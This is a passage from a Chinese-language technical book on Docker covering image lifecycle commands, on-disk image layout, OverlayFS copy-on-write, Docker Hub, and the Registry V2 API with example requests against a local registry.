[1] 见https://github.com/justone/dockviz。

3.2.2　Build：创建一个镜像

创建镜像是一个很常用的功能，既可以从无到有地创建镜像，也可以以现有的镜像为基础进行增量开发，还可以把容器保存为镜像。下面就详细介绍这些方法。

1.直接下载镜像

我们可以从镜像仓库下载一个镜像，比如，以下为下载busybox镜像的示例。

$ docker pull busybox
Using default tag: latest
Pulling repository docker.io/library/busybox
8c2e06607696: Download complete
cf2616975b4a: Download complete
6ce2e90b0bc7: Download complete
Status: Downloaded newer image for busybox:latest

具体使用镜像仓库的方法，本书会在后续章节详细描述，这里暂不做说明。

2.导入镜像

还可以导入一个镜像，对此，Docker提供了两个可用的命令docker import和docker load。docker load一般只用于导入由docker save导出的镜像，导入后的镜像跟原镜像完全一样，包括拥有相同的镜像ID和分层等内容。下面的第一行命令可以导出busybox为busybox.tar，第二条命令则是导入该镜像：

$ docker save  -o busybox.tar busybox
$ docker load  -i busybox.tar

不同于docker load，docker import不能用于导入标准的Docker镜像，而是用于导入包含根文件系统的归档，并将之变成Docker镜像。

3.制作新的镜像

前面说过，docker import用于导入包含根文件系统的归档，并将之变成Docker镜像。因此，docker import常用来制作Docker基础镜像，如Ubuntu等镜像。与此相对，docker export则是把一个镜像导出为根文件系统的归档。

提示

读者可以使用Debian提供的Debootstrap制作Debian或Ubuntu的Base image，可以在Docker官网找到教程[1]。

Docker提供的docker commit命令可以增量地生成一个镜像，该命令可把容器保存为一个镜像，还能注明作者信息和镜像名称，这与git commit类似。当镜像名称为空时，就会形成“悬挂”镜像。当然，使用这种方式每新增加一层都需要数个步骤（比如，启动容器、修改、保存修改等），所以效率是比较低的，因此这种方式适合正式制作镜像前的尝试。当最终确定制作的步骤后，可以使用docker build命令，通过Dockerfile文件生成镜像。

[1] https://docs.docker.com/articles/baseimages/。

3.2.3　Ship：传输一个镜像

镜像传输是连接开发和部署的桥梁。可以使用Docker镜像仓库做中转传输，还可以使用docker export/docker save生成的tar包来实现，或者使用Docker镜像的模板文件Dockerfile做间接传输。目前托管在Github等网站上的项目，已经越来越多地包含有Dockerfile文件；同时Docker官方镜像仓库使用了github.com的webhook功能，若代码被修改就会触发流程自动重新制作镜像。

3.2.4　Run：以image为模板启动一个容器

启动容器时，可以使用docker run命令，该命令在相关章节会详细描述，本节不做深入说明。

图3-3总结了上文提到的Docker镜像生命周期管理的相关命令。现阶段Docker镜像相关的命令存在一些问题，包括：

·命令间逻辑不一致，比如列出容器使用的是docker ps，列出镜像使用的是docker images。

·混用命令导致命令语义不清晰，比如查看容器和镜像详细信息的命令都是docker inspect。

所以基于这些考虑，Docker项目的路标中提到会把相关命令归类，并使用二级命令来管理。因此读者可以着重学习命令的用法和其实现的功能，不用过分关心命令的形式。

图3-3　Docker image生命周期图

3.3　Docker image的组织结构

上节讲到Docker image是用来启动容器的只读模板，提供容器启动所需要的rootfs，那么Docker是怎么组织这些数据的呢？

3.3.1　数据的内容

Docker image包含着数据及必要的元数据。数据由一层层的image layer组成，元数据则是一些JSON文件，用来描述数据（image layer）之间的关系以及容器的一些配置信息。下面使用overlay存储驱动对Docker image的组织结构进行分析，首先需要启动Docker daemon，命令如下：

# docker daemon -D –s overlay –g /var/lib/docker

这里从官方镜像库下载busybox镜像用作分析。由于前面已经下载过该镜像，所以这里并没有重新下载，而只是做了简单的校验。可以看到Docker对镜像进行了完整性校验，这种完整性的凭证是由镜像仓库提供的。相关内容会在后面的章节提到，这里不再展开介绍。

$ docker pull busybox
Using default tag: latest
latest: Pulling from library/busybox
cf2616975b4a: Already exists
8c2e06607696: Already exists
Digest: sha256:38a203e1986cf79639fb9b2e1d6e773de84002feea2d4eb006b52004ee8502d
Status: Image is up to date for busybox:latest
$  docker history busybox      #为了排版对结果做了一些整理
IMAGE                CREATED           CREATED BY                   SIZE
8c2e06607696     4 months ago                                       0 B
6ce2e90b0bc7     4 months ago      /bin/sh -c #(nop) ADD file        2.43 MB
cf2616975b4a     4 months ago      /bin/sh -c #(nop) MAINTAINER     0 B

该镜像包含cf2616975b4a、6ce2e90b0bc7、8c2e06607696三个layer。让我们先到本地存储路径一探究竟吧。

# ls  -l /var/lib/docker
total 44
drwx------ 2 root root 4096 Jul 24 18:41 containers           #存放容器运行相关信息
drwx------ 3 root root 4096 Apr 13 14:32 execdriver
drwx------ 6 root root 4096 Jul 24 18:43 graph                #Image各层的元数据
drwx------ 2 root root 4096 Jul 24 18:41 init
-rw-r--r-- 1 root root 5120 Jul 24 18:41 linkgraph.db
drwxr-xr-x 5 root root 4096 Jul 24 18:43 overlay              #Image各层数据
-rw------- 1 root root  106 Jul 24 18:43 repositories-overlay #Image总体信息
drwx------ 2 root root 4096 Jul 24 18:43 tmp
drwx------ 2 root root 4096 Jul 24 19:09 trust                #验证相关信息
drwx------ 2 root root 4096 Jul 24 18:41 volumes              #数据卷相关信息

1.总体信息

从repositories-overlay文件可以看到该存储目录下的所有image以及其对应的layer ID。为了减少干扰，实验环境之中只包含一个镜像，其ID为8c2e06607696bd4af，如下。

# cat repositories-overlay  |python -m json.tool
{
"Repositories": {
"busybox": {
"latest": "8c2e06607696bd4afb3d03b687e361cc43cf8ec1a4a725bc96e39f05ba97dd55"
}
}
}

2.数据和元数据

graph目录和overlay目录包含本地镜像库中的所有元数据和数据信息。对于不同的存储驱动，数据的存储位置和存储结构是不同的，本章不做深入的讨论。可以通过下面的命令观察数据和元数据中的具体内容。元数据包含json和layersize两个文件，其中json文件包含了必要的层次和配置信息，layersize文件则包含了该层的大小。

# ls -l graph/8c2e06607696bd4afb3d03b687e361cc43cf8ec1a4a725bc96e39f05ba97dd55/
total 8
-rw------- 1 root root 1446 Jul 24 18:43 json
-rw------- 1 root root    1 Jul 24 18:43 layersize
# ls -l overlay/8c2e06607696bd4afb3d03b687e361cc43cf8ec1a4a725bc96e39f05ba97dd55/
total 4
drwxr-xr-x 17 root root 4096 Jul 24 18:43 root

可以看到Docker镜像存储路径下已经存储了足够的信息，Docker daemon可以通过这些信息还原出Docker image：先通过repositories-overlay获得image对应的layer ID；再根据layer对应的元数据梳理出image包含的所有层，以及层与层之间的关系；然后使用联合挂载技术还原出容器启动所需要的rootfs和一些基本的配置信息。

3.3.2　数据的组织

从上节看到，通过repositories-overlay可以找到某个镜像的最上层layer ID，进而找到对应的元数据，那么元数据都存了哪些信息呢？可以通过docker inspect得到该层的元数据。为了简单起见，下面的命令输出中删除了一些与讨论无关的层次信息。

注意

docker inspect并不是直接输出磁盘中的元数据文件，而是对元数据文件进行了整理，使其更易读，比如标记镜像创建时间的条目由created改成了Created；标记容器配置的条目由container_config改成了ContainerConfig，但是两者的数据是完全一致的。

$ docker inspect busybox:latest
[
{
"Id": "8c2e06607696bd4afb3d03b687e361cc43cf8ec1a4a725bc96e39f05ba97dd55",
"Parent": "6ce2e90b0bc7224de3db1f0d646fe8e2c4dd37f1793928287f6074bc451a57ea",
"Comment": "",
"Created": "2015-04-17T22:01:13.062208605Z",
"Container": "811003e0012ef6e6db039bcef852098d45cf9f84e995efb93a176a11e9aca6b9",
"ContainerConfig": {
"Hostname": "19bbb9ebab4d",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": null,
"PublishService": "",
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": null,
"Cmd": [
"/bin/sh",
"-c",
"#(nop) CMD [\"/bin/sh\"]"
],
"DockerVersion": "1.6.0",
"Author": "Jevome Petazzoni \u003cjerome@docker.com\u003e",
"Config": {
"Hostname": "19bbb9ebab4d",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": null,
"PublishService": "",
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": null,
"Cmd": [
"/bin/sh"
],
"Architecture": "amd64",
"Os": "linux",
"Size": 0,
"VirtualSize": 2433303,
"GraphDriver": {
"Name": "aufs",
"Data": null
}
}
]

对于上面的输出，有几项需要重点说明一下：

·Id：Image的ID。通过上面的讨论，可以看到image ID实际上只是最上层的layer ID，所以docker inspect也适用于任意一层layer。

·Parent：该layer的父层，可以递归地获得某个image的所有layer信息。

·Comment：非常类似于Git的commit message，可以为该层做一些历史记录，方便其他人理解。

·Container：这个条目比较有意思，其中包含哲学的味道。比如前面提到容器的启动需要以image为模板。但又可以把该容器保存为镜像，所以一般来说image的每个layer都保存自一个容器，所以该容器可以说是image layer的“模板”。

·Config：包含了该image的一些配置信息，其中比较重要的是：“env”容器启动时会作为容器的环境变量；“Cmd”作为容器启动时的默认命令；“Labels”参数可以用于docker images命令过滤。

·Architecture：该image对应的CPU体系结构。现在Docker官方支持amd64，对其他体系架构的支持也在进行中。

通过这些元数据信息，可以得到某个image包含的所有layer，进而组合出容器的rootfs，再加上元数据中的配置信息（环境变量、启动参数、体系架构等）作为容器启动时的参数。至此已经具备启动容器必需的所有信息。

3.4　Docker image扩展知识

Cgroup和Namespace等容器相关技术已经存在很久，在VPS、PaaS等领域也有很广泛的应用，但是直到Docker的出现才真正把这些技术带入到大众的视野。同样，Docker的出现才让我们发现原来可以这样管理镜像，可以这样糅合老技术以适应新的需求。Docker引入联合挂载技术（Union mount）使镜像分层成为可能；而Git式的管理方式，使基础镜像的重用成为可能。现在就了解一下相关的技术吧。

3.4.1　联合挂载

联合文件系统这种思想由来已久，这类文件系统会把多个目录（可能对应不同的文件系统）挂载到同一个目录，对外呈现这些目录的联合。1993年Werner Almsberger实现的“Inheriting File System”可以看作是一个开端。但是该项目最终废弃了，而后其他开发者又为Linux社区贡献了unionfs（2003年）、aufs（2006年）和Union mounts（2004年）[1]，但都因种种原因未合入社区。直到OverlayFS[2]在2014年合入Linux主线，才结束了Linux主线中无联合文件系统的历史。

这种联合文件系统早期是用在LiveCD领域。在一些发行版中我们可以使用LiveCD快速地引导一个系统去初始化或检测磁盘等硬件资源。之所以速度很快，是因为我们不需要把CD中的信息拷贝到磁盘或内存等可读可写的介质中。而只需把CD只读挂载到特定目录，然后在其上附加一层可读可写的文件层，任何导致文件变动的修改都会被添加到新的文件层内。这就是写时复制（copy-on-write）的概念。

[1] https://lwn.net/Articles/396020/。

[2] 现在一般称为Overlay文件系统。

3.4.2　写时复制

写时复制是Docker image之所以如此强大的一个重要原因。写时复制在操作系统领域有很广泛的应用，fork就是一个经典的例子。当父进程fork子进程时，内核并没有为子进程分配内存（当然基本的进程控制块、堆栈还是需要的），而是让父子进程共享内存。当两者之一修改共享内存时，会触发一次缺页异常导致真正的内存分配。这样做既加速了子进程的创建速度，又减少了内存的消耗（如图3-4所示）。

图3-4　fork中的写时复制

Docker image使用写时复制也是为了达到相同目的：快和节省空间。我们以内核主线中的OverlayFS作为例子介绍一下写时复制。

OverlayFS会把一个“上层”的目录和“下层”的目录组合在一起：“上层”目录和“下层”目录或者组合，或者覆盖，或者一块呈现。当然“下层”目录也可以是联合文件系统的挂载点[1]。

首先你需要有支持OverlayFS的Linux环境（内核3.18以上）。Ubuntu用户可以从Ubuntu维护的kernel版本[2]中下载最新的内核安装包（比如vivid版本）。当然也可以手工编译新版的kernel，但这不是本文的重点，所以暂不细说。下面的测试为了突出变化，删除了无用的文件。

$ cat /proc/filesystems  | grep overlay
nodev  overlay

利用上述命令可确定内核支持OverlayFS。下面以建楼的形式来描述联合文件系统的工作方式，首先需要有混凝土和钢筋等基础原料作为最底层依赖。示例如下：

$ mkdir material
$ echo "bad concrete" > material/concrete
$ echo  "rebar" > material/rebar

但是在建设之前，发现混凝土的质量有问题，所以运来了新的混凝土，同时运来了大理石用作地板砖。示例如下：

$ mkdir material2
$ echo "good concrete" > material2/concrete
$ echo  "marble" > material2/marble

现在已经准备好了建筑所需要的所有材料，下面创建build目录作为具体施工的层。另外每个OverlayFS挂载点还依赖一些必要的目录，包括merge（工作目录）、work（OverlayFS所必须的一个空目录）等，如下：

$ mkdir merge work build
$ ls
build  material  material2  merge  work

然后挂载OverlayFS，下面的命令指定了material目录为最底层，material2目录为次底层，build目录为上层。至此已经完成了建楼所需要的所有依赖。

# mount -t overlay overlay -olowerdir= material: material2,upperdir= build,workdir=work  merge

1.覆盖

现在，在merge目录中可以看到混凝土、钢筋和大理石了。并且混凝土是合格的，也就是说material2目录中的concrete覆盖了material目录的对应文件。所以目录所处的层级是很重要的，上层的文件会覆盖同名的下层文件；另外现在的文件系统中会保存两份混凝土数据，所以不合理地修改一个大文件会使image的size大增。示例如下：

$ ls -l */*
-rw-r--r-- 1 root root   19 Aug 31 15:19 material/concrete
-rw-r--r-- 1 root root   12 Aug 31 15:19 material/rebar
-rw-r--r-- 1 root root   20 Aug 31 15:19 material2/concrete
-rw-r--r-- 1 root root   13 Aug 31 16:03 material2/marble
-rw-r--r-- 1 root root   12 Aug 31 15:19 material2/rebar
-rw-r--r-- 1 root root   20 Aug 31 15:19 merge/concrete
-rw-r--r-- 1 root root   13 Aug 31 16:03 merge/marble
-rw-r--r-- 1 root root   12 Aug 31 15:19 merge/rebar
$ cat merge/concrete
good concrete

2.新增

接下来要在merge目录下建立我们的建筑框架，此时可以看到frame文件出现在了build目录中。示例如下：

# echo "main structure" >merge/frame
$ ls  */* -l
-rw-r--r-- 1 root root   15 Aug 31 17:48 build/frame
-rw-r--r-- 1 root root   19 Aug 31 15:19 material/concrete
-rw-r--r-- 1 root root   12 Aug 31 15:19 material/rebar
-rw-r--r-- 1 root root   20 Aug 31 15:19 material2/concrete
-rw-r--r-- 1 root root   13 Aug 31 16:03 material2/marble
-rw-r--r-- 1 root root   12 Aug 31 15:19 material2/rebar
-rw-r--r-- 1 root root   19 Aug 31 15:19 merge/concrete
-rw-r--r-- 1 root root   15 Aug 31 17:48 merge/frame
-rw-r--r-- 1 root root   13 Aug 31 16:03 merge/marble

3.删除

如果此时客户又提出了新的需求，他们不希望使用大理石地板了，那么我们就得在merge目录删掉大理石。可以看到删除底层文件系统中的文件或目录时，会在上层建立一个同名的主次设备号都为0的字符设备，但并没有直接删掉marble文件。所以删除并不一定能减小image的大小，并且要注意的是，如果制作image时使用到了一些关键的信息（用户名、密码等），则需要在同层删除，不然这些信息依然会存在于image中。

$ rm merge/marble
$ ls -l
c--------- 1 root root 0, 0 Aug 31 18:00 build/marble
-rw-r--r-- 1 root root   19 Aug 31 15:19 merge/concrete
-rw-r--r-- 1 root root   15 Aug 31 17:48 merge/frame

联合文件系统是实现写时复制的基础。现在社区和操作系统厂家都维护着几种该类文件系统，比如Ubuntu系统自带aufs的支持，Redhat和Suse则采用的是devicemapper方案等。一些文件系统比如btrfs也具有写时复制的能力，故也可以作为Docker的存储驱动。这些存储驱动的存储结构和性能都有显著的差异[3]，所以我们需要根据实际情况选用合理的后端存储驱动。

[1] https://www.kernel.org/doc/Documentation/fi lesystems/overlayfs.txt。

[2] http://kernel.ubuntu.com/~kernel-ppa/mainline/。

[3] http://developerblog.redhat.com/2014/09/30/overview-storage-scalability-docker/。

3.4.3　Git式管理

Git是由Linux之父Linus Torvalds创立的一个开源项目，是一种代码的分布式版本控制工具。因其具有强大的分支能力、便于协作开发等优点而取得了空前的成功，github.com作为托管代码的仓库也变得越来越流行。两者的合力直接变革了传统的软件托管方案。

Docker作为新的开源项目，充分借鉴了Git的优点（利用分层）来管理镜像，使image layer的复用变成了可能，并且类比Github提出了Dockerhub的概念，一定程度上变革了软件发布流程。

3.5　本章小结

本章主要介绍了Docker image的使用方法，另外还介绍了Docker image在存储格式和数据上的组织方式，以及一些具体的实现细节。但是这种设计也存在着一些问题需要去克服：

·image难以加密。本质上Docker image是共享式的，如果我们加密了其中的layer，那么该层就无法被共享。值得注意的是，Docker提供了一套基于notary的镜像的签名机制，可以一定程度做到镜像的安全分发。

·image分层后产生了大量的元数据，不便于存储。现在很多分布式存储对小文件的支持都不是很好。所以搭建私有的镜像仓库时需要选用合理的存储后端。

·image制作完成后无法修改。Docker未提供修改或合并层的命令，因此，如果制作镜像的过程中需要使用到一些隐私信息，则一定要在使用完后立即删除。

第4章　仓库进阶

4.1　什么是仓库

仓库（repository）用来集中存储Docker镜像，支持镜像分发和更新。目前世界上最大最知名的公共仓库是Docker官方发布的Docker Hub，上面有超过15000个镜像。国内比较知名的Docker仓库社区有Docker Pool、阿里云等。

为满足容灾需求，Docker仓库后端通常采用分布式存储。比较常用的分布式存储平台包括亚马逊S3、微软Azure和华为UDS等。

4.1.1　仓库的组成

人们习惯称呼一个镜像集群社区（Hub）为仓库，如上面提到的Docker Hub、Docker Pool等，事实上在这类社区里面，又包含着很多具有特定功能的仓库（repository），这些仓库由一个或多个名称相同而版本不同的镜像组成。如Docker Hub上的Ubuntu、Redis都是具有具体功能的仓库，而且它们包含着不同的镜像版本。

下面用一个关系图来表示仓库和镜像的关系，如图4-1所示。

仓库的名字通常由两部分组成，中间以斜线分开。斜线之前是用户名，斜线之后是镜像名。如tom/ubuntu表示属于用户tom的Ubuntu镜像。这也是社区上区分公有仓库和私有仓库的方法。后面介绍Docker Hub的时候，会具体说明。

简单来说，仓库包括镜像存储系统和账户管理系统。前者通过Docker仓库注册服务（registry）实现；而一个有实用价值的仓库（如Docker Hub）都会有完善的账户管理系统。

使用者注册成为用户之后，可以通过login命令登录到仓库服务，登录方法如下：

$ docker login -u <user name> -p <password> -e <email> <registry domain>

图4-1　仓库组织图

为安全起见，对于以上命令行输入，请在login命令行回车后输入用户名、密码和邮箱。回车之后，注册的用户将会得到成功登录的提示：

Login Succeeded

4.1.2　仓库镜像

仓库下面包含着一组镜像，镜像之间用标签（tag）区分。一个完整的镜像路径通常由服务器地址、仓库名称和标签组成，如：

registry.hub.docker.com/official/ubuntu:14.04

它代表Docker Hub上的Ubuntu官方镜像，发行版本14.04。

通过Docker命令，可以从本地对仓库里的镜像进行上传、下载和查询等操作，具体演示如下。

1.上传镜像

可通过push命令上传镜像，如下。

$ docker push localhost:5000/official/ubuntu:14.04
The push refers to a repository [localhost:5000/official/ubuntu] (len: 1)
07f8e8c5e660: Image already exists
37bea4ee0c81: Image successfully pushed
a82efea989f9: Image successfully pushed
e9e06b06e14c: Image successfully pushed
Digest: sha256:9d5aa687d93dedbc3ed1ffe29b4e02d2a4410a307f81de1d974f9af4252b7996

上面的示例中是向本地私有仓库上传镜像。如果不写服务器地址，则默认上传到官方Docker Hub（https://hub.docker.com）。需要指出的是，对于有账户管理系统的Docker服务器如Docker Hub，上传镜像之前需要先登录。而一般用户上传镜像的目标是自己的仓库。

2.下载镜像

通过pull命令可下载镜像，如下。

$ docker pull ubuntu:14.04
latest: Pulling from ubuntu
428b411c28f0: Pull complete
435050075b3f: Pull complete
9fd3c8c9af32: Pull complete
6d4946999d4f: Already exists
ubuntu:latest: The image you are pulling has been verified. Important: image verification is a tech preview feature and should not be relied on to provide security.
Digest: sha256:45e42b43f2ff4850dcf52960ee89c21cda79ec657302d36faaaa07d880215dd9
Status: Downloaded newer image for ubuntu:latest

上面的示例同样会在省略地址的情况下，从Docker Hub上下载镜像。这里Ubuntu前面没有带用户名，表示下载的是Docker官方镜像。如果下载对象不带标签，则会把Ubuntu仓库下的官方（默认tag）镜像全部下载。

从上传/下载的过程信息中可以看到，一个镜像在操作过程中会被逐层上传/下载。不同镜像层的上传和下载操作能并发进行。因此，后一个下载动作不需要等到上一个动作的完成。

3.查询镜像

下面通过search命令实现查询操作（仓库开发者须实现查询功能）。

$ docker search localhost:5000/ubuntu
NAME                          DESCRIPTION   STARS     OFFICIAL   AUTOMATED
library/ubuntu                              32520     [OK]       [OK]
official/ubuntu-upstart                      32501     [OK]       [OK]
official/ubuntu-debootstrap                  32500     [OK]       [OK]

输入查询名称后，返回的结果包含了仓库中Ubuntu公有镜像。下载和查询不需要登录远程服务器。

4.2　再看Docker Hub

4.2.1　Docker Hub的优点

Docker Hub是目前世界上最大最知名的Docker镜像仓库，由Docker公司官方发布。Docker Hub的优点总结如下：

·为开发者提供了海量Docker镜像，供免费下载学习和使用；

·拥有完善的账户管理系统，为用户提供付费扩容；

·服务器采用分布式部署，支持负载均衡；

·支持镜像上传、下载、查询、删除及属性设置等多种操作；

·支持在线编译镜像；

·后端采用分布式存储，可容灾备份；

·其核心是Docker distribution，在开源社区上设计维护，会不断更新和完善；

·提供企业版Docker Hub，为企业级用户提供一站式解决方案。

事实上Docker Hub属开源社区性质，为Docker开发者服务，在发布形式和服务功能上很大程度模仿了Github。Github托管代码，而Docker Hub托管镜像。这就使有过开源社区经验的开发者觉得Docker Hub熟悉且方便。

4.2.2　网页分布

Docker Hub主页上展示了最活跃的官方仓库，如Ubuntu、Redis、MySQL等（如图4-2所示）。

图4-2　Docker Hub主页

开发者通常以这些仓库镜像作为基础镜像开发自己的镜像。如Ubuntu提供了操作系统发行版，Redis提供常用的缓存功能，MySQL是流行的数据库，等等。

开发者可以在Docker Hub上搜索指定仓库。进入仓库页面即可了解到仓库的具体信息。在图4-3所示的Ubuntu仓库里，我们可以看到显示信息包括：

·镜像标签列表

·仓库说明文档

·仓库活跃度

·所属组织

·仓库下载帮助

图4-3　Ubuntu仓库页面

开发者也可以搜索某个仓库组织下的所有仓库列表。如Docker官方发布维护的library，包含了大部分Docker官方镜像（如图4-4所示）。点击链接：https://registry.hub.docker.com/repos/library/，进入即可看到仓库列表。

图4-4　library组织下的仓库列表

4.2.3　账户管理系统

开发者可以免费在Docker Hub上注册，或者用Github的账户直接登录Docker Hub。登录到Docker Hub后，会弹出用户界面（如图4-5所示）。

账户系统提供的功能类似Github。大致包括：

·用户可以编辑自己的注册信息，如密码、邮箱等；

·创建和删除用户下的镜像；

·收费用户可以创建和设置私有镜像；

·创建和维护组织，添加组员；

·用户之间可以相互关注。

另外，Docker Hub为用户提供了在线编译镜像的功能（如图4-6所示），这为本地没有安装Docker daemon环境的开发者提供了方便。

图4-5　Docker用户页面

图4-6　自动编译镜像

用户可在图4-6的“Add Repository”栏选择“Automated Build”，届时会弹出如图4-7所示的页面，该页面会列出所有的代码托管仓库。

选择源码所在的仓库后，如果在Github或者bitbucket上有源码，并且源码里写好了Dockerfile，那就可以用这个在线编译镜像的功能了。

以Github为例，开发者进入源码仓库后，会看到提示界面（如图4-8所示），上面标明了源码仓库、仓库分支、编译进度等内容。

点击“Start Build”按钮就可以开始编译了，编译完成之后提示成功，回到用户仓库下面，可以看到新增的镜像（如图4-9所示）。

图4-7　代码托管仓库

图4-8　编译演示

图4-9　新建仓库

在线编译使得用户端主机可以不具备Docker Engine运行环境。用户只需提供可以编译的程序源码即可，Docker Hub会负责完成编译。

注意

用户甚至可以只提供Dockerfile，基于Bitbucket平台完成镜像自动编译。

4.3　仓库服务

Docker仓库和仓库注册服务经常被混为一谈。事实上服务是用来搭建仓库的，通常运行在容器里面。

Docker Registry是构建仓库的核心，用于实现开源Docker镜像的分发。Docker Registry源码发布在：https://github.com/docker/distribution。Docker先后设计并发布了两个Registry开源项目，这里只介绍2.0版本Registry。

4.3.1　Registry功能和架构

从使用来讲，Registry旨在实现镜像的创建、存储、分发和更新等功能。

·镜像存储：镜像数据存储在Registry后端，与本地镜像存储方式类似，它也分隔成了多个镜像层，放置在各自的目录中，保存成tar包格式。除了镜像数据，Registry还保存了清单文件（manifest）和镜像签名文件（signature）等。

·镜像创建、分发和更新：本地用户和Registry之间通过Registry API传输镜像。Registry API即一系列HTTP/HTTPS请求，用来发送用户请求到Registry，并接收Registry的响应。在请求和响应中则包含了镜像数据交互。

Registry架构的示意图如图4-10所示。

图4-10　Registry内部结构[1]

从设计角度看，Registry有如下特点：

·快速上传和下载镜像；

·设计方案新颖且高性能；

·部署方便；

·有详细完整的Registry API（V2）说明文档；

·后端支持多种分布式云存储方案（如s3、azure）和本地文件系统等，接口以插件方式存在，易于配置；

·清单文件（Manifest）作为元数据完整地记录镜像信息；

·以Webhook方式实现的通知系统；

·实现了本地TLS，支持HTTPS安全访问；

·有可配置的认证模块；

·有健康检查模块；

·正在努力让用于管理镜像的清单和摘要文件格式更加清晰，以及更清楚地为镜像打标签；

·拥有完善镜像缓存机制，镜像下载更加快捷。

[1] 该图来源于：https://github.com/docker/distribution/blob/master/docs/images/registry.png。

4.3.2　Registry API

1.API描述

Registry API遵循REST设计标准，用于Registry和Docker Engine之间的通信，实现Registry镜像分发，是Docker Registry的重要组成部分。

Registry API语句由方法（Method）、路径（Path）和实体（Entity）组成。它负责接收engine的访问请求，实现对Registry后端实体的操作，写入或获取数据及状态。这里先对Registry API进行简单描述，并给出使用演示，下节将具体分析用API实现的传输过程。Registry API的命令如表4-1所示。

表4-1　Registry API命令列表

API传输的对象主要包括镜像layer的块数据（blob）和表单（Manifest）。

2.表单（Manifest）

Manifest是JSON格式的文件，记录镜像的元数据信息，并兼容V1版本镜像信息。Manifest的主要组成部分见表4-2。

表4-2　Manifest域成员

Manifest的内容形式如下：

{
"name": <name>,
"tag": <tag>,
"fsLayers": [
{
"blobSum": <tarsum>
},
...
],
"history": [...],
"signatures": [...]
}

可以看到，Manifest里面包含了一段签名信息，用关键字signatures表示，所指的是一个签名镜像的表单；用户凭签名信息校验Manifest数据。给Manifest签名有两种方式：一是用Docker官方提供的libtrust函数库生成私钥，二是用工具链生成X509证书。签名信息的内容形式如下：

"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "OD6I:6DRK:JXEJ:KBM4:255X:NSAA:MUSF:E4VM:ZI6W:CUN2:L4Z6:LSF4",
"kty": "EC",
"x": "3gAwX48IQ5oaYQAYSxor6rYYc_6yjuLCjtQ9LUakg4A",
"y": "t72ge6kIA1XOjqjVoEOiPPAURltJFBMGDSQvEGVB010"
},
"alg": "ES256"
},
"signature": "XREm0L8WNn27Ga_iE_vRnTxVMhhYY0Zst_FfkKopg6gWSoTOZTuW4rK0fg_IqnKkEKlbD83tD46LKEGi5aIVFg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjY2MjgsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxNS0wNC0wOFQxODo1Mjo1OVoifQ"
}
]

3.内容摘要（Content Digest）

Registry API采用内容寻址存储（CAS）方法，针对固定内容存储。数据单元的唯一ID与元数据一起构成所访问数据的实际有效地址，从而确保内容的可靠性。

Content Digest用于内容寻址，是依据哈希算法生成的一串校验码，是数据内容的唯一标识。为了通信的安全，digest具有不透明性。digest在Registry API的作用过程如下：

1）用户通过Registry API请求获取数据；

2）Registry返回数据的同时，在响应头信息里面返回digest；

3）用户收到digest，然后用它校验获取数据的完整性和一致性。

一条digest由算法名称和一段十六进制数据（把哈希校验码通过十六进制进行编码）组成，其语法表示如下：

digest:= algorithm ":" hex algorithm:= /[A-Fa-f0-9_+.-]+/ hex:= /[A-Fa-f0-9]+/

生成的digest内容形式如下：

sha256:6c3c624b58dbbcd3c0dd82b4c53f04194d1247c6eebdaab7c610cf7d66709b3b

注意

Registry曾经使用tarsum digest对tar layer数据进行校验。但Docker Engine到Registry通信中，[解压缩]→[tarsum]→[解包]处理流程被证明存在安全隐患（https://github.com/docker/docker/issues/9719）。现在layer数据以二进制方式存放于Registry中，不过Docker官方的Registry API specification里保留了tarsum的称呼。

当Registry返回的结果是manifest或者layer的二进制数据时，Registry将生成digest，digest字段包含在Docker-Content-Digest响应头信息里，会一并返回给用户。对于Manifest，digest的哈希校验对象是不带签名字段的Manifest内容；而对于layer数据，digest的哈希校验对象是整个数据内容。

digest在用户获取Registry数据的请求中十分重要，它保证了通信的安全性，以及数据传输的完整性和一致性。理论上，用户收到digest之后如果不作校验，传输过程也会继续，但这显然存在安全隐患。

4.Registry API的使用

在使用Registry时，首先要检查Registry工作是否正常，命令如下：

$ curl -X GET http://localhost:5000/v2/
{}

上述命令可能返回如下状态：

·200 OK：Registry工作正常，并且用户可以访问操作。

·401 Unauthorized：Registry工作正常，但是用户没有访问权限，要想访问需要先做授权认证。

·404 Not Found：Registry并不存在。

然后，通过如下命令查找镜像：

$ curl -X GET http://localhost:5000/v2/foo/bar/tags/list
{"name":"foo/bar","tags":["2.0","1.0"]}

在上面的命令中输入查询路径，将会返回JSON格式的结果，列出了仓库里面包含的所有镜像标签。

最后，通过如下命令获取Manifest。

$ curl -X GET http://localhost:5000/v2/foo/bar/manifests/1.0
{
"name": "foo/bar",
"tag": "1.0",
"architecture": "amd64",
"fsLayers": []
<清单内容（...）>
}

在请求中输入指定仓库和标签，即可返回整个清单内容。

4.3.3　Registry API传输过程分析

用户对Registry的访问，包括镜像上传、下载、查询和删除等操作，都是通过向Registry发送一系列API请求来实现的。下面重点介绍Registry API在镜像上传和下载过程中的应用。

1.镜像下载（pulling）

下载的顺序是先下载元数据Manifest，再下载镜像layers。下载请求的格式是GET方法后面跟随下载路径，并附上Host和Authorization头信息，如下：

GET /v2/<name>/manifests/<reference>
Host: <registry host>
Authorization: <scheme> <token>

如果请求返回404 Not Found结果，则表明Manifest不存在，下载结束。

Manifest成功下载之后，用户通过Docker Engine对镜像签名进行校验。校验通过之后，用户找到blob的tarsum digest，通过它下载layers blob。API请求如下：

GET /v2/<name>/blobs/<tarsum>

Registry提供了HTTP缓存功能（分别用Redis和inmemory方式实现）以加快下载速度。另外下载请求的header里Range项是偏移量值，表示分段范围。

2.镜像上传（pushing）

和下载顺序相反，上传时是先上传镜像layers，后上传Manifest。

（1）初始化上传

用户上传镜像的时候，首先要向Registry发送一个API请求初始化上传任务。请求如下：

POST /v2/<name>/blobs/uploads/

URL中间的参数<name>表示上传的layer链接到哪个镜像。

Registry成功接收请求之后，返回202 Accepted状态响应，以及一系列响应头信息。如下所示：

202 Accepted
Location: /v2/<name>/blobs/uploads/<uuid>
Range: bytes=0-<offset>
Content-Length: 0
Docker-Upload-UUID: <uuid>

